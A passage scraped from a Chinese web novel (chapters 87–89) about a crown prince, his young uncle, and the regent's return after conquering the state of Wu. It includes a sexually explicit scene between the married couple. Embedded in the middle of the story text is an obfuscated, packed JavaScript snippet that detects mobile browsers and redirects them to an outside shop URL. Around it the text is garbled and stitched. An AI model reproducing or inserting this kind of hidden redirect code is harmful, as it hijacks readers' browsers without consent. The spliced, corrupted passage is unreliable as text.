而且像是上次逃课,虽然他们有正当的理由,说是要安慰姜令仪,回去之后还是免不了又被罚了一个时辰的马步,这还是他们看在姜令仪的面子上放水了。 姜令仪虽然自己教育孩子从来不动手,却是支持他们的老师动手的,楚怀谦身份高,当他的老师其实是一个苦差事,要是把人教歪了,大家不会说太子,只会说他的老师没教好。 他的文师傅不是历经三朝的元老,就是名满天下的大儒,他们不怕太子的身份,主要是自己底气就足。 两个暗卫接手了武师傅的活儿之后,姜令仪就直说了:“他们两个要是不听话,直接动手就行。” 算是给了他们两个尚方宝剑,不必把两个孩子当成什么小少爷,既然在学习,那就只有老师和学生的身份,不听话了闯祸了,那就该打打该罚罚。 再加上他们两个可以说是用自己的命保护姜令仪,楚怀谦对他们也是敬重有加的。 但是,一直被文师傅各种夸有天赋的楚怀谦,每次在上武学课的时候就像是于敏之的对照组,于敏之看一遍就能学会的东西,他要反反复复学好几遍,他真的有点挫败了。 为什么他的宿敌会比他强这么多啊喂。 楚怀谦自己坐在一旁生闷气,加练完之后,一身汗臭的于敏之也坐到了他旁边,哥俩好的搂住他:“怎么了?不开心?” 楚怀谦用胳膊杵他,让他放开自己。 于敏之非但没有放开他,反而大力拍了几下:“别不开心了,你习武比不过我,我念书也比不上你啊,这不正好吗?” 楚怀谦深沉叹气:“你不懂。” 他不是因为自己的习武天赋差而生气,之前在书院学习的时候,他文不如杨和景,武不如林枫,他一点儿都没有不开心,几个人也不会相互比较这些。 但是面对于敏之,楚怀谦就忍不住比较起来了,这可是他前世命中注定的宿敌啊,他们一南一北遥遥相望,把彼此视为对手和知己,多少存了些惺惺相惜又暗暗较劲儿的意思。 以前不见面还好,现在都把他们两个放一起学习了,好嘛,他多活了一辈子的人都比不过这个原装正版的小豆丁,真的是太挫败了。 于敏之挠头,想出了一个绝妙的主意:“那要不下次比试的时候我让让你?先生让你给我出题的时候你也给我放放水?” 楚怀谦像是不认识他一样,上上下下打量了他好几遍,这可不像是草原之王说出来的话,他印象里的那个人,桀骜不驯的很,绝对不会跟他的对手说“我让让你。” 不过一想也是,他们现在也不是对手,更不是宿敌,这是他小舅舅啊:“你真能给我放水?” 于敏之还以为他不信,拍着胸脯保证:“真的。” 又安慰他:“我的谋略也不如你,我听姐姐说了你在朝堂上和那些人玩儿心眼,才知道你每次都是让着我的,不然早就把我坑的连底裤都没了,你都让着我了,我是长辈,让让你怎么了?” 楚怀谦的嘴角简直要压不住了,这话他爱听,上辈子这傻大个也只是靠着一身蛮力收服了草原,不能说没有谋略,但是比起他来差多了。 于敏之这个人,允文允武,他能上马打天下,也能坐下来治理草原,作为领导型人才,和楚怀谦算是各有优劣吧。 楚怀谦大度的说:“我不用你让,等我有什么不懂的,你要教我,你不会的也能来问我。” 他们共同进步吧。 于敏之当然乐意,他一把拽下脖子上的吊坠,递给了楚怀谦:“给,这是我一直以来的护身符,以后你武功不行没关系,我保护你。” 他摊开手,是一颗狼牙。 87. 第 87 章 87 据说草原王身上佩戴着一颗从不离身的狼牙,有人猜测说这是他第一次打猎的战利品,也有人说是养大他的母狼死后,他把狼牙拔下来作为纪念品,还有说是草原上爱慕他的女郎给他的定情信物,说什么都有。 但是唯一确定的,就是这颗狼牙确实几十年如一日的待在他身上,不用想都知道这个被他视为护身符的狼牙对他有多重要,而现在,他把护身符转赠给了自己。 楚怀谦握紧了手里的狼牙,然后松开,从袖子里掏出来一个小玩偶递给了于敏之。 “喏,这是回礼。” 这个玩偶是楚怀谦从胖猫身上收集的毛毛,用了好几天的时间不断修修改改,最后戳成了胖猫的模样。 于敏之一直和他待在一起,自然也知道他为这个玩偶下的功夫,奇道:“这不是你要送给姐姐的吗?给我啦?” 楚怀谦被他问烦了:“要不要?不要还我。” 他都这么说了,不要的是傻子,于敏之连忙揣进自己怀里:“要要要,怎么不要,我这一堆普通狼牙里随便挑出来的一个,换你这个胖猫,你亏啦。” “一堆?” 他的语气变得危险起来,于敏之也不敢抖机灵了:“两个,就两个,我发誓,你一个我一个,再没别的了。” 楚怀谦认真盯着他的表情看,想要分辨出他到底有没有说谎,半晌才移开视线:“你最好没骗我。” 于敏之赔笑:“这次真没骗你,你看。” 他从怀里摸出来另一颗狼牙,和楚怀谦手里的正好对称:“别的再没有了。” 楚怀谦这才满意。 也正是此刻,互换了礼物,也可以说信物的两个小孩儿,才真正的把对方当做了家人,当做了可以信任的存在。 之后两个人的相处似乎也没什么变化,依旧是每天打打闹闹的,时不时拌两句嘴,但是姜令仪就是能感觉出来,这俩孩子的感情莫名其妙的就变好了。 再一次感叹孩子们令人摸不着头脑的友谊,她已经习惯了和孩子的代沟了,顾不上细究其中的原因,就又发生了一件大事。 吴国投降了。 其实也不算投降,是楚萧一路打到了吴国皇城,然后把一众皇室高官都抓了,直接自己写了一封投降国书,又盖了印。 以后,就再没有吴国了。 消息传回来之后,整个大殿鸦雀无声,他们知道楚萧打仗很猛,颇有些青出于蓝而胜于蓝的势头,但是他们没想到他能有这么猛,这才多久,就直接把吴国灭了? 其实楚萧能这么迅速结束战争,一个是因为吴国内乱,没了太子,那些皇子们朝堂上谁也不服谁,他打到吴国家门口的时候,这几个皇子还在斗着呢。 还有一个是因为姜令仪给他的虎符,见虎符如见将,虽然他不能拿着虎符直接命令他们撤兵,但能做的事情也多了去了。 天时地利人和缺一不可,楚萧才能这么快就打下了吴国,让林嘉带着人留下安抚人心,顺便接手吴国的各种政事,等着朝堂派人来,他就先班师回朝了。 然后朝会的主题就变成了:要如何封赏摄政王。 以武将为首的,要求狠狠地赏赐他,理由也很充分:“这可是灭了吴国啊,从开国到现在几百年了,还有谁能办到这件事,这难道还不应该好好赏赐吗?” 在他们看来,开疆拓土的功绩,再怎么封赏也不为过。 但是其他人也有自己的担心:“摄政王的身份,还要怎么赏赐呢?” 他手握重权,还是太子的长辈,会不会到了最后,太多的权利助长了他的野心,所有的兵权都握在他的手里,如果他想反,谁能拦?谁敢拦? 反正就是翻来覆去的吵了一个早朝,这还不算,在楚萧回程的这些天,他们就把这件事当做最重要事情了,每天兴致高昂的来上朝,又一脸憋屈的回府去,再满心怒火的备战,想好明天上朝时要骂人的词,一天才算结束。 在这种气氛中,就连楚怀谦提出要亲自去迎摄政王归京,他们都没有太反对。 其实大臣们想的是,大军回城那天,一定会有许多百姓围观,让太子相迎也能展现一下君臣和谐。 楚怀谦可不知道他们这么多弯弯绕绕的心思,强撑着听完他们小学鸡一样的打嘴架之后,他就溜到了明月宫,看见宫人们正忙里忙外的收拾东西。 见着楚怀谦过来,所有人都停下手里的事情给他行礼,楚怀谦摆摆手,让他们继续干活。 屋里,于敏之做完了自己的作业,正和姜令仪一起享用中式炸鸡。 这种炸鸡是姜令仪最喜欢的吃法,把鸡腿碎成小块,直接放到油里去炸,炸到自己喜欢的程度,她喜欢多炸一会儿,有一点焦焦硬硬的口感,盛出来,放上芝麻花生和蚝油,拌一拌就能开吃了。 反正她吃着比那些裹粉炸的要好吃,很合她的胃口。 显然也很合于敏之的胃口,他自己一个人已经干掉一大盘了。 姜令仪推给他一杯水:“咸不咸?喝口水。” 于敏之摇头:“味道正好。” 话虽这么说,他还是喝了两大口水,吃多了总是会有些口干的。 楚怀谦进来了,姜令仪推给他一盘:“下朝了,来吃炸□□,刚出锅还热着呢。” 楚怀谦矜持点点头:“我不太饿,来一盘就行了。” 这炸鸡他也是吃过的,在姜令仪捣鼓出蚝油之后,她就迫不及待的做了一次炸鸡,楚怀谦最高记录是吃过三盘,他吃着咸口的也不觉得腻,要不是姜令仪不许他吃,这个记录还能再长一点。 从他明显加速的动作,就能看出他有多喜欢吃了,楚怀谦和于敏之一左一右飞速开吃,姜令仪捧着一盏茶慢悠悠的喝,她尝了几口就不吃了。 吃完之后,楚怀谦拿着帕子优雅的擦了擦嘴。 于敏之:“这是怎么了?手抽筋了?” 楚怀谦的优雅破功了:“你才抽筋呢。” “这才对嘛。”于敏之松了一口气:“刚刚那样端起来都不像你了。” 楚怀谦白了他一眼,他根本不懂,这是翩翩少年郎的做派,等他大一点了,一定要优雅再优雅,不能被他带偏了,现在他还小,等等再说吧。 楚怀谦转眼就把自己的优雅计划扔到了脑后。 “娘,爹他马上就要回来了,到时候我们出城去迎接他。” 姜令仪微笑:“你爹已经给我寄信了,我自己回将军府,让敏之在宫里陪着你。” 楚怀谦:“……” 虽然知道他爹一回来,他娘就会离开,他也不是那么不懂事的孩子了,姜令仪守孝已经结束了,夫妻两个怎么也得计划洞房了吧,在一起才能增进感情啊。 但是心里知道是一回事,接受又是一回事了。 这个问题显然不是他能改变的了的,除非他想楚萧一回来,连将军府都不回,直奔皇宫揍他一顿。 为了太子和摄政王的情谊不翻车,楚怀谦佯装大度:“那好吧,爹娘早点给我生一个弟弟妹妹出来,到时候要是你们不想带孩子,我来给你们带啊。” 姜令仪指了指他:“就算以后有了孩子,我也不放心给你带,要是被你教成了无法无天的模样怎么办?” 楚怀谦大呼冤枉。 姜令仪的控诉可不是没有根据的,楚怀谦他是一个很护短的人,凡是被他认可接纳了的人,他都觉得是自己人,而自己人总是最好的。 以胖猫为例,他自己偷偷跑到宫里之后,楚怀谦第一反应不是担心胖猫伤人,他觉得胖猫那么乖,怎么可能无缘无故伤人呢?如果有,也一定是别人挑衅他激怒他了。 要是以后孩子被他带大,那肯定会成了一个横行京城的小霸王。 姜令仪搬到将军府了,有于敏之陪着,楚怀谦接受的还算良好。 主要是他自己想通了,现在已经开始脑补以后的弟弟妹妹会长什么样子了。 回府之后,姜令仪也没闲着,之前她在宫里,许多人想和她套交情都找不到人,现在她搬出来了,各家的帖子就如雪花般飞来了。 小玉苦着一张脸,抱来了厚厚一摞请帖:“少夫人,门房那里已经放不下了,您看看这些要不要去?” 姜令仪没打算全部拒而不见,但是也没打算挨个去赴宴,她拿着请帖翻看了两眼,全部都是赏花宴之类的,就又扔了回去。 “直接告诉他们,三日后我在将军府设宴,请诸位夫人前来。” 她不想一个个去赴宴,但又不能全都拒绝,索性自己弄一个赏花宴,邀请他们来算了。 小玉眼睛亮晶晶的看着姜令仪:“少夫人这个办法好,我马上去办。” 赏花宴,自然不能只赏花,正好钱津津给她来信,想要先打开京城的化妆品市场呢,先从京城风靡起来的东西,再往其他地方卖就好卖多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049298|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次赏花宴,也正好在这些贵妇人中推出化妆品,没有女人能拒绝得了变美。 把宴会需要的菜单准备好,姜令仪就准备歇了。 晚上睡觉的时候,她不习惯有人在自己旁边,这会让她觉得不自在,更何况她和楚萧一直都是睡在一张床上的,顶多就是有人在门口守夜。 所以她进了内室,其余人就自觉的留在了外面守着。 但是今天一进屋,姜令仪就觉得不太对劲儿,她在炕桌上放的那本书,不是应该翻开的吗?今天回来她看了一会儿话本子,出去的时候随手扣在了桌子上,现在这本书,已经被整整齐齐的放好了。 她的脚步停了下来,下意识后退,却撞到了一堵温热的墙上。 “檀娘,是我。” 听到熟悉的声音,她紧绷的肌肉放松下来,随后就被这人的胳膊箍住,让她动弹不得。 “二哥,你怎么今天就回来了?” 姜令仪想转头看他,楚萧埋头在她颈边,温热的呼吸打在她的皮肤上,细细密密的起了一层鸡皮疙瘩。 姜令仪不自在的躲避,却怎么也逃不开:“二哥,放开了,我好痒。” 楚萧并没有依她所言放开,而是把她转了个身,两人面对面站着:“我自己先一步回来了,檀娘,好久不见。” 姜令仪细细打量他,明明也就两个月未见,却感觉他和以前变了好多,可能是成了一家之主,他变得更加成熟可靠了。 “怎么自己回来了,不应该随着大军一起进城吗?谦儿今天还说要去接你呢……” 楚萧吻住了她的唇,把她未完的话吞金口中,许久未见,怎么还在絮叨那个臭小子,楚萧不想听。 姜令仪被他急切的索吻逼得气喘,在她险些窒息的时候,楚萧终于退开了:“檀娘,孝期过了。” 孝期二十七个月,已经过了一个月了。 默了默,姜令仪没好气拍了他一下,日夜兼程赶回来,就为了这个? 他垂头看着她,眼里的渴望明晃晃的表露出来,像是一条讨食的狗狗。 算了,本来就是夫妻,姜令仪也已经做好了思想准备,她颔首:“去洗澡。” 楚萧的眼睛一下子就亮了起来。 头发还带着湿气,楚萧却不管它,把姜令仪放在桌子上的书拿过来,问道:“檀娘平日里就看这些书?” 姜令仪很不满他的语气,好像多惊奇一样,这书怎么了,虽然是话本子,但也就是她平日里的消遣,难道她休息的时候还要看四书五经? 反驳的话还没说出口,姜令仪不经意的看到了这本书的名字:《狐妖和尚记》 姜令仪第一时间就想跳起来把书夺过来,但是对比了一下两个人的武力值差距,她无奈放弃,转而控诉道:“你从哪儿拿出来的?” 她在桌子上放着的明明是让人刚写的一个话本子,私人订制,是她喜欢的家长里短美食文,怎么变成这个了? 这个狐妖的话本子是搜罗的各大书局最受欢迎的书时送来的,姜令仪看了还挺喜欢,里面描写的非常香艳动人,但是因为带了点颜色,她已经塞回书架里了啊,怎么偏偏被楚萧抽出来了? 楚萧没有回答他的话,而是身体力行的让她体验了一回狐妖的快乐,而且比起书里的和尚,姜令仪私以为,楚萧更适合当这种带颜色书的主角。 小将军变成了大将军之后,姜令仪就开始哀哀求饶,但是她每一次拒绝的时候,楚萧就开始念话本子上的内容。 “狐妖小娘子羞答答的看了和尚一眼,把外衫扔到了他的身上,软语邀请:‘呆子,还不快来,要我邀请你吗?’,和尚嘴里念着‘空即是色,色即是空’,身体却很诚实。” “佳人如玉体似酥,香暖帐中剑打云,若问前路知何似,唯有檀娘知我心。” 他还变了词,姜令仪听着羞耻极了,但是身体却不由自主的软成了一滩水。 她看着楚萧,他脸上的表情隐忍又疼惜,整个人散发着暧昧的气息。 姜令仪有点移不开眼,她从未见过这样的楚萧,就像是原本端坐高台的仙人动了凡心,褪下了一向面无表情的清冷,他有力的身体,动情后仍然克制的隐忍,让姜令仪更想看到他疯狂起来的样子。 想看他迷离放纵的眼神,想看他坠入世间污浊,更想看他欢愉到极致的痛苦。 于是,姜令仪放松身体,无声的邀请他攀登高峰。 88. 第 88 章 88 小别胜新婚的两个人怎么缠绵不说,这可苦了外面守夜的小玉了。 小玉的五感比普通人灵敏,一开始听到屋里的声音,她还没有反应过来,直到听见男人时断时续的说话声,小玉整个人都僵住了。 不是吧,少夫人这是带男人回来了? 毫不夸张的说,这短短的几秒钟之内,小玉就已经思考了好几种办法,是威胁这个野男人不要肖想着上位,安安稳稳的做外室,还是趁楚萧没回来就赶紧收拾收拾东西带着姜令仪跑路。 等把门口一同守夜的其他人支开了,小玉被惊的差点转不动的脑袋瓜才反应过来,姜令仪是有暗卫的啊,而且这暗卫还是楚萧亲自安排的。 好消息,这个野男人可能就是姜令仪的正牌夫君,她刚刚想的亡命天涯的计划应该实行不了了。 坏消息,如果里面的人不是楚萧,那他刚刚想的亡命天涯的计划肯定也实行不了了。 时间愉悦又煎熬的流逝者,原本守夜到子时就能回房休息的小玉,第一次没有到点下班,她就想第一时间看看,这个野男人到底是谁。 功夫不负有心人,在子时过半的时候,她等来了里面声音停歇,不一会儿,穿戴完整精神奕奕的楚萧就出现在了门口。 本来是想去厨房要水的,他知道姜令仪不喜欢下人们在一旁守着,还以为外面没人了,没想到小玉远远的在门口的台阶上坐着,怨念着盯着从屋子里走出来的他。 不过看到来人是谁,小玉总算开心起来了,太好了,不是野男人就好,知道楚萧要热水,小玉自告奋勇的去烧水,她再单纯也知道,楚萧现在出现在府里很不正常,还是别把消息透露出来了。 有人帮忙做事,楚萧自然乐意,转身就回去抱着姜令仪继续躺着,被踹了也不在意,这力道还不够给他挠痒痒的。 去了小厨房,小玉也没有惊动旁人,和值守的小太监说了一声,就自己开始干活了。 现在厨房的大厨是信得过的人,但是那些帮厨和扫洒都是新分来的,也不敢确定是否忠心,反正烧水也不难,小玉自己亲力亲为就好了。 小太监和她搭话:“小玉姐姐,怎么这么晚了来烧水了?” 小玉随便编了一个理由:“猫主子白天不知道去哪玩儿了,身上脏兮兮的,我守夜刚结束,就想着打水给他洗洗。” 胖猫一开始也被楚怀谦留在了皇宫,还没过夜,姜令仪就发现他自己偷溜出来了,还准确的找到了姜令仪的落脚点,然后哼哼唧唧的抱怨姜令仪把他一只虎丢下,可把他委屈坏了。 姜令仪再三保证,只是让他在皇宫陪着两个孩子玩儿几天,并没有想着把他丢掉,他这才开心起来,在新家巡视自己的地盘。 将军府的新人也都知道了,他们还有一个非常聪明的猫主子。 胖猫时不时跑出去玩耍的事情他们都知道,所以小玉这么说,小太监也没有怀疑,只是颇为艳羡:“小玉姐姐和猫主子关系真好,还能给他洗澡。” 小玉心虚的点头,其实关系好不好她心里有数,胖猫那个坏家伙只在有求于人的时候会给她一个好脸色,平时照样摸都不给摸 等水烧好,小玉打算自己提走的时候,楚萧身边的暗卫悄无声息的落到她身边,直接把水桶抢走了,小玉手里一轻,水就被拎走了。 抢走水桶的人走的飞快,小玉追了两步没追上,就停了下来。 算了,她睡觉去。 姜令仪一觉睡到了日上三竿,其实她还不想起,但是一直有恼人的头发划到她脸上,把她的困意生生烦没了。 一把抓住了那人作怪的手,姜令仪凶他:“别烦我。” 楚萧好声好气的哄她:“先起了吃午饭了,吃完了再休息。” “吃午饭?”还以为是喊她吃早饭的姜令仪超大声:“现在已经是中午了?” 天啊,她居然大中午的了还没有起床,这让别人怎么看她啊。 姜令仪捂脸,一动就扯到了腰,她本来捂脸的手开始扶腰,一开始没注意还好,等她意识到的时候,才发现自己的腰又酸又软,根本起不来床。 再看一旁精神奕奕,拿着头发扫她脸的男人,姜令仪发自内心的觉着不公平。 凭什么啊,明明出力气的是他,因为给她清洗晚睡的也是他,为什么第二天他跟没事儿人一样,自己却起不来床了? 莫非楚萧是那采阴补阳的狐狸精,她的精气都吸走了? 看出她行动困难,楚萧直接把饭菜端进来,在床上放了小炕桌,又殷勤的把她扶起来,让她成为这样的罪魁祸首是自己,楚萧为了以后,从醒了就开始好好表现,伏低做小,任劳任怨。 但是姜令仪看见他就来气,也幸亏约各家夫人赏花的日期在后天,要是就在今天,她绝对要打死楚萧,所以就算楚萧再怎么表现,她也已经下定决心,短时期内绝不会和他同房了。 楚萧还不知道这个噩耗,只一心照顾她,恨不得连饭也给她喂进嘴里,姜令仪也享受着他的服务,但是喂饭就算了吧,太过了。 姜令仪看一眼面前的人,然后塞一口饭,当做塞进嘴里的就是他,用力嚼。 她绝不会承认自己昨天晚上也有舒服到,更不会提是她一直催着楚萧快点,本来楚萧想着他们两个都是第一次,一次就行了,是姜令仪尝到了甜头,搂着他哼哼唧唧不放手。 不管过程如何,结果摆在这里,她是受害者,连床都下不了了,还不允许她生气吗? 这一年的时间他们聚少离多,为了快速打下吴国,楚萧付出了多少心力不为人知,在战争结束之前,没有人敢保证此战必胜,如今他胜利了,人们会称赞他果决勇敢,比其父敢想敢干,但要是他失败了,又是那些人,会对他口诛笔伐,认为他贪功冒进。 但这就是楚萧的打仗风格,在战争开始前准备充分,快速、凶猛、直击要害,许多人认为他是以快取胜,很容易忽略了他心细如发,以及对战场局势敏锐的把控。 可以说,为了这场看起来很轻松的战争,楚萧投入了大量的时间和精力,自然而然的,他在家陪姜令仪的时间也大大减少。 姜令仪对他提早回来还是开心的,但是免不了担忧:“私自离开不好吧,会不会对你有影响?” 楚萧让他放心:“我已经提前上书太子,要讲其他兵权上交,手里只留下楚家军的兵权,按照正常来讲,这次带队的主将已经不是我了。” 既然不是主将,那他一个摄政王随便跑,谁又能说的了什么? 之前攻打吴国的时候,他手里有随意抽调全国兵马的权利,现在仗打完了,楚萧自然就要还回去,不然那些大臣估计都要睡不好觉了。 楚萧说了他的计划:“而且我手里剩下的这些兵权,是为了去打匈奴和突厥的,在谦儿登基之前,我一定能把他们当做礼物,划进我们自己国家的版图。” 开疆拓土是每一个武将的追求,楚萧自然也不例外,等打完了仗,楚怀谦年纪也就不小了,他和姜令仪两个人就能学着楚将军和如安公主那样,两个人去踏遍大江南北了。 楚萧心里畅想着以后的美好生活,按楚怀谦的聪明程度,最多五年,他就可以完完全全掌控朝堂了吧? 姜令仪觉得他信誓旦旦的样子很可爱:“如果真如你说的这般,二哥,你绝对会在这段历史上留下不可磨灭的一段故事。” 楚萧笑了起来。 而在真正的历史上,同样作为摄政王的楚萧,拖着一副病弱残躯,照样达成了扩大版图的成就,凡目之所及,皆为国土,真正历史上的传奇。 姜令仪对他扩大版图的理想表示支持,然后开始赶人:“明日你就出城。” 楚萧一愣,不明白为什么还要离开,不等他拒绝,就听到姜令仪继续说:“谦儿都已经兴致勃勃安排好了,要亲自出城去接你呢,你要是不在,多让他失望呢。” 楚萧明白了,果然有了孩子,他的地位就会一降再降,他想要开口给自己争取一下,却被姜令仪截断了要说出口的话:“而且,太子和摄政王的关系不能太差,你不会想让大家认为摄政王不支持太子的,对吧?” 最后的话已经带上了点威胁的意味,要是他敢说是,姜令仪绝对不会放过他的。 楚萧:“……” 他坐到了床边上,“那我后天再出去,不会耽误我追上他们的,檀娘——” 姜令仪:“但是我后天有赏花宴,到时候我和其他夫人们一起,你又不能来陪我,留着还有什么用?” 楚萧灼灼的目光逐渐暗淡下去,没错,姜令仪不在他待在家里有什么意思,还不如去跑会儿马呢。 他的态度明显已经松动了:“十里长亭的位置就在出城不远处,我骑马半个时辰就到了,要不我进宫找谦儿和敏之去?” 姜令仪“嗯”了一声:“然后所有人都知道摄政王提前跑回来了?” 楚萧不言语了,姜令仪知道,他这是同意了,但是不太开心。 姜令仪换了一个话题:“之前跟我一起被掳走的那个连姑娘,她怎么样了?” 当时连棠也被于敏之药倒了,走的时候姜令仪给她喂了解药,也不知道她逃出来没有,她回来之后就让人留心着点连棠的踪迹,也不知道有没有消息。 好在楚萧很靠谱,派去的人是追踪的好手,再加上连棠长得漂亮,见过她的人都还有印象:“她醒了之后就跑了, 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楚萧正色道:“我从来没觉得你不善良,如果你不善良,怎么会建那么多慈幼局收留老人和孩子,怎么会明知奢侈品利润更高,还坚持卖一些不怎么赚钱的东西,怎么会眼里全是不平之事?” 楚萧见过凄惨的人多了去了,连棠这种根本排不上号,他只是想知道姜令仪的想法,却从来没觉得她这么做有什么不对。 姜令仪推开面前的碗,示意自己不吃了,她接过帕子擦了擦手,对他说的话毫不意外:“我们本来就没什么交集,知道她并没有因为而死就够了,而且我被抓,也不能说和她没有半分关系,我还没有大度到这个份上。” 虽说被劫走之后她没什么损失,还知道了自己母亲的身世,更欣慰疼爱自己的父亲只是去了另一个世界生活,但这不代表她心里不生气不害怕啊。 如果他们没有头脑发热的想要把自己带回吴国,而是听从命令将她就地格杀,那她现在岂不是早就没命了? 说到这,楚萧也很恼火,他忍不住迁怒在连棠身上:“就不应该让他们家还留着凉州城。” 连大人被斩之后,虽说不会牵连子女,但他们要想安安稳稳的待在内城也是不可能的,当时是姜令仪打了个招呼,他们一家人才能留下来。 楚萧心疼的看着她,说:“你还是太善良了。” 姜令仪心虚的咳了两下,用善良形容她真的是受之有愧。 楚萧现在对她的滤镜很深,别管她怎么解释,反正就认定了她是聪明善良的小仙女人设,他见过不少女人,貌美的也很多,但是他从来记不住那些人的模样,记忆深刻的,一个是他娘如安公主,一个就是姜令仪。 第一眼见到她的时候,楚萧只觉得这姑娘也太弱了,想着日后一定要让她好好锻炼,不然他怕一阵风过来就能把人吹跑了,那时候也没觉得她有多好看,但是现在你要问他觉得谁最好看,楚萧一定会毫不犹豫的说出姜令仪的名字。 真的,楚萧觉得她会发光,怎么会有这么好看的人呢? 这也太好看了吧! 姜令仪被他看得有些不自在,也有些开心,说实话,谁还没有幻想过自己是一个纯洁美丽的小仙女的,但是不到几秒钟,她就又开始说些煞风景的话题了。 “赏花宴的时候,各家送来的礼物怎么处理?”姜令仪把软枕垫到腰下,找了一个舒服的姿势:“我不想收,这些人情往来太麻烦了,收了礼就得回礼,这也太累了。” 姜令仪不是不懂交际,但是到了现在这个位置,已经不是简单的互送礼物那么简单了,她回礼的时候轻了重了,一定会引起许多猜测,是她不喜欢他们送的东西,还是对送礼的人有意见了? 而且她表现出来的喜好,一定会引得各家投其所好,姜令仪不想弄出“楚王好细腰”这样的例子,别千年以后,她的名字在史书上一笔带过,却留下了一个“王妃爱金子”的典故,那她岂不是丢人丢到家了。 楚萧对她的想法没有意见:“家里的事情你都能做主,不想收就不收,我现在的地位也能让你随心所欲,不需要因为外界声音就改变自己。” 姜令仪轻哼:“我自己现在的财富也能确保我随心所欲,再说,我还是太子养母呢,你说我们两个吵架,谦儿会站在谁这边?” 那肯定是站在她这边,楚萧这点自知之明还是有的。 姜令仪打趣道:“说不定日后你卸甲归田,还要靠我养着呢。” 楚萧想了想他十几年来越攒越少的私房,再看看姜令仪的赚钱能力,深觉自己应该未雨绸缪:“日后就全仰仗夫人了。” 吃软饭那叫一个理直气壮。 89. 第 89 章 89 赏花的地点设在了将军府的后花园,后花园没怎么打理过,虽说赏花只是宴请宾客的一个由头,但这样光秃秃的也太难看了。 姜令仪就从最近的玻璃坊吊了一下玻璃花过来,在阳光的照射下,玻璃制成的鲜花美轮美奂,比真正的花还要好看。 但是姜令仪还是不怎么满意:“这种冷冰冰的没有生命的花,到底不如真花来的鲜活喜人。” 楚萧想帮她分忧,便道:“我去给你买一些这个季节的花?” 以前楚萧送花,送的都是当季的野花,姜令仪问他:“现在什么花正是旺盛的时候?” 楚萧战略性停顿:“我会问一问老板的。” 姜令仪看他窘迫的样子就开心:“那老板要是糊弄你怎么办?要知道那些老板最喜欢你这样什么也不懂的冤大头,你要是去了,还不是任人家忽悠?” “他们不敢。” 这话也只有楚萧才能说得这么有底气。 好些大家族都是奴仆去采买,他们和这些贩子们达成交易,双方都让一些利,这些贩子能以高于市场的价格把东西卖出去,采买的人也是有自己的私利。 渐渐地,高门大户采买东西的商户都是固定的,这是他们心照不宣的交易,如果有不懂事的想要破坏他们的潜规则,那他们也会利用各自的能量给他一点颜色看看。 且他们的理由很充分,为什么在这家采买,因为这里的质量好,就比如说那种特别离谱的人参鸡蛋,还真有许多人为它买单。 其他人或许会顾忌着世家的体面,就算知道有猫腻也不会捅破,但是楚萧可不会管这些,敢诓他的人还没有出生呢。 姜令仪就笑,一开始还矜持的抿嘴笑,后来就变成了哈哈大笑,楚萧就站在一旁,看她笑的前仰后合,还贴心的扶住她的腰。 他实在不明白这有什么好笑的。 姜令仪也说不上来自己这莫名其妙的笑点,但是看着楚萧认真的好像马上就要去打架的势头,她就觉得开心。 她很喜欢的,有这样一个人,他愿意抛开自己的身份,只单纯的想做点什么让你开心,真的很让人喜欢。 不过姜令仪非常惋惜的拒绝了他的提议:“谦儿已经把花都包了,现在估计已经在送来的路上了。” “哦。” 楚萧沉默,果然老话说的还是有道理的,孩子生来就是讨债鬼,专当他讨人欢心路上的绊脚石了。 楚怀谦没有了展示自己的机会,他并不气馁,还想着陪她把这些花看看摆在什么地方。 姜令仪不想让他出去招人眼:“算了吧二哥,专业的事交给专业的人来干,咱们还是多休息一会儿吧。” 楚怀谦想的周到,在她话音刚落没一会儿,宫里的人就浩浩荡荡送来了一批珍贵花木,还有专门伺候这些的小太监,也一并送了过来,既然如此,姜令仪就交给他们全权安排了。 还是那句话,这次宴会的主题是赏花,但是重点绝不在赏花上,就算全是光秃秃的,它也是赏花宴。 昨天晚上休息,姜令仪没有把人赶走,但一人一个被窝,坚定拒绝了他的小动作,对于刚尝到了甜头的男人来说,看得到吃不到无疑是最大的煎熬。 休息了一天之后,姜令仪除了腰还有点酸之外,已经没什么感觉了,只有衣服盖住的皮肤上,或轻或重的红痕显示着主人承受的疼爱。 看到她抬手时不经意间露出的痕迹,楚萧低下头,在她没有反应过来的时候,唇上的温热就已经离开了。 这是一个带着些仓促的吻,一触即离,姜令仪抬眸看向她,主动送上了自己的唇,带着些安抚意味,舔了舔他,楚萧浑身的血液像是被点燃一般,他反客为主,原本温柔的吻变得凶狠起来。 这个吻格外的激烈绵长,等楚萧放开她,姜令仪眼睛里已经沁上了一层水雾。 楚萧捧着她的脸:“檀娘,我们要个孩子吧。” 他以前对孩子也没有多大的执念,尤其是有了楚怀谦以后,深觉孩子是夫妻培养感情的阻力,他觉得也不怎么想要孩子了。 但是在这一刻,他想,如果有一个和姜令仪长得很像的小姑娘,每天甜甜的喊他“爹爹”,那他能容忍这些所有的困难。 姜令仪喜欢孩子,但是她不喜欢生孩子,在医疗条件发达的时候,也不是没有人因为怀孕生子去世,许多人会因为怀孕时的痛苦恐婚恐娃,姜令仪也不例外。 她害怕生孩子。 想到曾经看过的那些怀孕分娩的视频,她的脸色就有些发白:“我不想生孩子。” 她强调:“二哥,我不要生孩子。” 她的脸色实在不好看,楚萧福灵心至,想起来他素未谋面的岳母大人,就是因为生孩子难产去世的。 他听楚将军提起过,岳母是一个很有意思的人,她长的相并不出彩,只能算是中等,家世普通,从重男轻女的家庭中夺权,又一步步靠着自己,仅仅三年就成了名闻天下的大富商。 姜尚一开始接近她就是图她的钱,一个是初入官场的小菜鸟,在朝堂不闻不问的情况,下为了赈灾把目标锁定在了这个女富豪身上。 那他又是凭的什么呢? 姜令仪遗传了姜尚的好相貌,只有一双圆圆的杏眼像母亲,而姜尚好看到什么程度呢?当初以他的才华,应该是板上钉钉的状元,就因为他太好看了,皇帝不顾群臣反对,硬生生把人改成了探花郎。 